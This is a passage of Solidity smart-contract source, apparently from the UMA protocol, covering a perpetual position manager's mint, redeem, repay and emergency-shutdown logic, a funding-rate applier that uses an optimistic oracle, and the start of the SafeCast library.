// No pending withdrawal require message removed to save bytecode.
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount
* ` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0);
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens));
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
// Note: revert reason removed to save bytecode.
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice If the contract is emergency shutdown then all token holders and sponsors can redeem their tokens or
* remaining collateral for underlying at the prevailing price defined by a DVM vote.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the resolved settlement value of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @dev Note that this function does not call the updateFundingRate modifier to update the funding rate as this
* function is only called after an emergency shutdown & there should be no funding rate updates after the shutdown.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleEmergencyShutdown()
external
isEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// Set the emergency shutdown price as resolved from the DVM. If DVM has not resolved will revert.
if (emergencyShutdownPrice.isEqual(FixedPoint.fromUnscaledUint(0))) {
emergencyShutdownPrice = _getOracleEmergencyShutdownPrice();
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral =
_getFundingRateAppliedTokenDebt(tokensToRedeem).mul(emergencyShutdownPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying with
// the funding rate applied to the outstanding token debt.
FixedPoint.Unsigned memory tokenDebtValueInCollateral =
_getFundingRateAppliedTokenDebt(positionData.tokensOutstanding).mul(emergencyShutdownPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleEmergencyShutdown(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the `settleEmergencyShutdown` function.
*/
function emergencyShutdown() external override notEmergencyShutdown() fees() nonReentrant() {
// Note: revert reason removed to save bytecode.
require(msg.sender == _getFinancialContractsAdminAddress());
emergencyShutdownTimestamp = getCurrentTime();
_requestOraclePrice(emergencyShutdownTimestamp);
emit EmergencyShutdown(msg.sender, emergencyShutdownTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory collateralAmount)
{
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PerpetualPositionManager.
* @return totalCollateral amount of all collateral within the position manager.
*/
function totalPositionCollateral()
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getFundingRateAppliedTokenDebt(rawTokenDebt);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
positionData.tokensOutstanding = positionData.tokensOutstanding.sub(tokensToRemove);
require(positionData.tokensOutstanding.isGreaterThanOrEqual(minSponsorTokens));
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(positionToLiquidate.rawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
_getOracle().requestPrice(priceIdentifier, requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory price) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
int256 oraclePrice = _getOracle().getPrice(priceIdentifier, requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOracleEmergencyShutdownPrice() internal view returns (FixedPoint.Unsigned memory) {
return _getOraclePrice(emergencyShutdownTimestamp);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyCollateralizedPosition(address sponsor) internal view {
require(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0));
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0);
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
return numTokens.isLessThanOrEqual(0) ? FixedPoint.fromUnscaledUint(0) : collateral.div(numTokens);
}
function _getTokenAddress() internal view override returns (address) {
return address(tokenCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/SafeCast.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/implementation/Constants.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../perpetual-multiparty/ConfigStoreInterface.sol";
import "./EmergencyShutdownable.sol";
import "./FeePayer.sol";
/**
* @title FundingRateApplier contract.
* @notice Provides funding rate payment functionality for the Perpetual contract.
*/
abstract contract FundingRateApplier is EmergencyShutdownable, FeePayer {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
using SafeERC20 for IERC20;
using SafeMath for uint256;
/****************************************
* FUNDING RATE APPLIER DATA STRUCTURES *
****************************************/
struct FundingRate {
// Current funding rate value.
FixedPoint.Signed rate;
// Identifier to retrieve the funding rate.
bytes32 identifier;
// Tracks the cumulative funding payments that have been paid to the sponsors.
// The multiplier starts at 1, and is updated by computing cumulativeFundingRateMultiplier * (1 + effectivePayment).
// Put another way, the cumulativeFeeMultiplier is (1 + effectivePayment1) * (1 + effectivePayment2) ...
// For example:
// The cumulativeFundingRateMultiplier should start at 1.
// If a 1% funding payment is paid to sponsors, the multiplier should update to 1.01.
// If another 1% fee is charged, the multiplier should be 1.01^2 (1.0201).
FixedPoint.Unsigned cumulativeMultiplier;
// Most recent time that the funding rate was updated.
uint256 updateTime;
// Most recent time that the funding rate was applied and changed the cumulative multiplier.
uint256 applicationTime;
// The time for the active (if it exists) funding rate proposal. 0 otherwise.
uint256 proposalTime;
}
FundingRate public fundingRate;
// Remote config store managed an owner.
ConfigStoreInterface public configStore;
/****************************************
* EVENTS *
****************************************/
event FundingRateUpdated(int256 newFundingRate, uint256 indexed updateTime, uint256 reward);
/****************************************
* MODIFIERS *
****************************************/
// This is overridden to both pay fees (which is done by applyFundingRate()) and apply the funding rate.
modifier fees override {
// Note: the funding rate is applied on every fee-accruing transaction, where the total change is simply the
// rate applied linearly since the last update. This implies that the compounding rate depends on the frequency
// of update transactions that have this modifier, and it never reaches the ideal of continuous compounding.
// This approximate-compounding pattern is common in the Ethereum ecosystem because of the complexity of
// compounding data on-chain.
applyFundingRate();
_;
}
// Note: this modifier is intended to be used if the caller intends to _only_ pay regular fees.
modifier paysRegularFees {
payRegularFees();
_;
}
/**
* @notice Constructs the FundingRateApplier contract. Called by child contracts.
* @param _fundingRateIdentifier identifier that tracks the funding rate of this contract.
* @param _collateralAddress address of the collateral token.
* @param _finderAddress Finder used to discover financial-product-related contracts.
* @param _configStoreAddress address of the remote configuration store managed by an external owner.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress address of the timer contract in test envs, otherwise 0x0.
*/
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) EmergencyShutdownable() {
uint256 currentTime = getCurrentTime();
fundingRate.updateTime = currentTime;
fundingRate.applicationTime = currentTime;
// Seed the cumulative multiplier with the token scaling, from which it will be scaled as funding rates are
// applied over time.
fundingRate.cumulativeMultiplier = _tokenScaling;
fundingRate.identifier = _fundingRateIdentifier;
configStore = ConfigStoreInterface(_configStoreAddress);
}
/**
* @notice This method takes 3 distinct actions:
* 1. Pays out regular fees.
* 2. If possible, resolves the outstanding funding rate proposal, pulling the result in and paying out the rewards.
* 3. Applies the prevailing funding rate over the most recent period.
*/
function applyFundingRate() public paysRegularFees() nonReentrant() {
_applyEffectiveFundingRate();
}
/**
* @notice Proposes a new funding rate. Proposer receives a reward if correct.
* @param rate funding rate being proposed.
* @param timestamp time at which the funding rate was computed.
*/
function proposeFundingRate(FixedPoint.Signed memory rate, uint256 timestamp)
external
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalBond)
{
require(fundingRate.proposalTime == 0, "Proposal in progress");
_validateFundingRate(rate);
// Timestamp must be after the last funding rate update time, within the last 30 minutes.
uint256 currentTime = getCurrentTime();
uint256 updateTime = fundingRate.updateTime;
require(
timestamp > updateTime && timestamp >= currentTime.sub(_getConfig().proposalTimePastLimit),
"Invalid proposal time"
);
// Set the proposal time in order to allow this contract to track this request.
fundingRate.proposalTime = timestamp;
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Set up optimistic oracle.
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Note: requestPrice will revert if `timestamp` is less than the current block timestamp.
optimisticOracle.requestPrice(identifier, timestamp, ancillaryData, collateralCurrency, 0);
totalBond = FixedPoint.Unsigned(
optimisticOracle.setBond(
identifier,
timestamp,
ancillaryData,
_pfc().mul(_getConfig().proposerBondPercentage).rawValue
)
);
// Pull bond from caller and send to optimistic oracle.
if (totalBond.isGreaterThan(0)) {
collateralCurrency.safeTransferFrom(msg.sender, address(this), totalBond.rawValue);
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), totalBond.rawValue);
}
optimisticOracle.proposePriceFor(
msg.sender,
address(this),
identifier,
timestamp,
ancillaryData,
rate.rawValue
);
}
// Returns a token amount scaled by the current funding rate multiplier.
// Note: if the contract has paid fees since it was deployed, the raw value should be larger than the returned value.
function _getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
internal
view
returns (FixedPoint.Unsigned memory tokenDebt)
{
return rawTokenDebt.mul(fundingRate.cumulativeMultiplier);
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getConfig() internal returns (ConfigStoreInterface.ConfigSettings memory) {
return configStore.updateAndGetCurrentConfig();
}
function _updateFundingRate() internal {
uint256 proposalTime = fundingRate.proposalTime;
// If there is no pending proposal then do nothing. Otherwise check to see if we can update the funding rate.
if (proposalTime != 0) {
// Attempt to update the funding rate.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Try to get the price from the optimistic oracle. This call will revert if the request has not resolved
// yet. If the request has not resolved yet, then we need to do additional checks to see if we should
// "forget" the pending proposal and allow new proposals to update the funding rate.
try optimisticOracle.settleAndGetPrice(identifier, proposalTime, ancillaryData) returns (int256 price) {
// If successful, determine if the funding rate state needs to be updated.
// If the request is more recent than the last update then we should update it.
uint256 lastUpdateTime = fundingRate.updateTime;
if (proposalTime >= lastUpdateTime) {
// Update funding rates
fundingRate.rate = FixedPoint.Signed(price);
fundingRate.updateTime = proposalTime;
// If there was no dispute, send a reward.
FixedPoint.Unsigned memory reward = FixedPoint.fromUnscaledUint(0);
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer == address(0)) {
reward = _pfc().mul(_getConfig().rewardRatePerSecond).mul(proposalTime.sub(lastUpdateTime));
if (reward.isGreaterThan(0)) {
_adjustCumulativeFeeMultiplier(reward, _pfc());
collateralCurrency.safeTransfer(request.proposer, reward.rawValue);
}
}
// This event will only be emitted after the fundingRate struct's "updateTime" has been set
// to the latest proposal's proposalTime, indicating that the proposal has been published.
// So, it suffices to just emit fundingRate.updateTime here.
emit FundingRateUpdated(fundingRate.rate.rawValue, fundingRate.updateTime, reward.rawValue);
}
// Set proposal time to 0 since this proposal has now been resolved.
fundingRate.proposalTime = 0;
} catch {
// Stop tracking and allow other proposals to come in if:
// - The requester address is empty, indicating that the Oracle does not know about this funding rate
// request. This is possible if the Oracle is replaced while the price request is still pending.
// - The request has been disputed.
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer != address(0) || request.proposer == address(0)) {
fundingRate.proposalTime = 0;
}
}
}
}
// Constraining the range of funding rates limits the PfC for any dishonest proposer and enhances the
// perpetual's security. For example, let's examine the case where the max and min funding rates
// are equivalent to +/- 500%/year. This 1000% funding rate range allows a 8.6% profit from corruption for a
// proposer who can deter honest proposers for 74 hours:
// 1000%/year / 360 days / 24 hours * 74 hours max attack time = ~ 8.6%.
// How would attack work? Imagine that the market is very volatile currently and that the "true" funding
// rate for the next 74 hours is -500%, but a dishonest proposer successfully proposes a rate of +500%
// (after a two hour liveness) and disputes honest proposers for the next 72 hours. This results in a funding
// rate error of 1000% for 74 hours, until the DVM can set the funding rate back to its correct value.
function _validateFundingRate(FixedPoint.Signed memory rate) internal {
require(
rate.isLessThanOrEqual(_getConfig().maxFundingRate) &&
rate.isGreaterThanOrEqual(_getConfig().minFundingRate)
);
}
// Fetches a funding rate from the Store, determines the period over which to compute an effective fee,
// and multiplies the current multiplier by the effective fee.
// A funding rate < 1 will reduce the multiplier, and a funding rate of > 1 will increase the multiplier.
// Note: 1 is set as the neutral rate because there are no negative numbers in FixedPoint, so we decide to treat
// values < 1 as "negative".
function _applyEffectiveFundingRate() internal {
// If contract is emergency shutdown, then the funding rate multiplier should no longer change.
if (emergencyShutdownTimestamp != 0) {
return;
}
uint256 currentTime = getCurrentTime();
uint256 paymentPeriod = currentTime.sub(fundingRate.applicationTime);
_updateFundingRate(); // Update the funding rate if there is a resolved proposal.
fundingRate.cumulativeMultiplier = _calculateEffectiveFundingRate(
paymentPeriod,
fundingRate.rate,
fundingRate.cumulativeMultiplier
);
fundingRate.applicationTime = currentTime;
}
function _calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) internal pure returns (FixedPoint.Unsigned memory newCumulativeFundingRateMultiplier) {
// Note: this method uses named return variables to save a little bytecode.
// The overall formula that this function is performing:
// newCumulativeFundingRateMultiplier =
// (1 + (fundingRatePerSecond * paymentPeriodSeconds)) * currentCumulativeFundingRateMultiplier.
FixedPoint.Signed memory ONE = FixedPoint.fromUnscaledInt(1);
// Multiply the per-second rate over the number of seconds that have elapsed to get the period rate.
FixedPoint.Signed memory periodRate = fundingRatePerSecond.mul(SafeCast.toInt256(paymentPeriodSeconds));
// Add one to create the multiplier to scale the existing fee multiplier.
FixedPoint.Signed memory signedPeriodMultiplier = ONE.add(periodRate);
// Max with 0 to ensure the multiplier isn't negative, then cast to an Unsigned.
FixedPoint.Unsigned memory unsignedPeriodMultiplier =
FixedPoint.fromSigned(FixedPoint.max(signedPeriodMultiplier, FixedPoint.fromUnscaledInt(0)));
// Multiply the existing cumulative funding rate multiplier by the computed period multiplier to get the new
// cumulative funding rate multiplier.
newCumulativeFundingRateMultiplier = currentCumulativeFundingRateMultiplier.mul(unsignedPeriodMultiplier);
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(_getTokenAddress());
}
function _getTokenAddress() internal view virtual returns (address);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
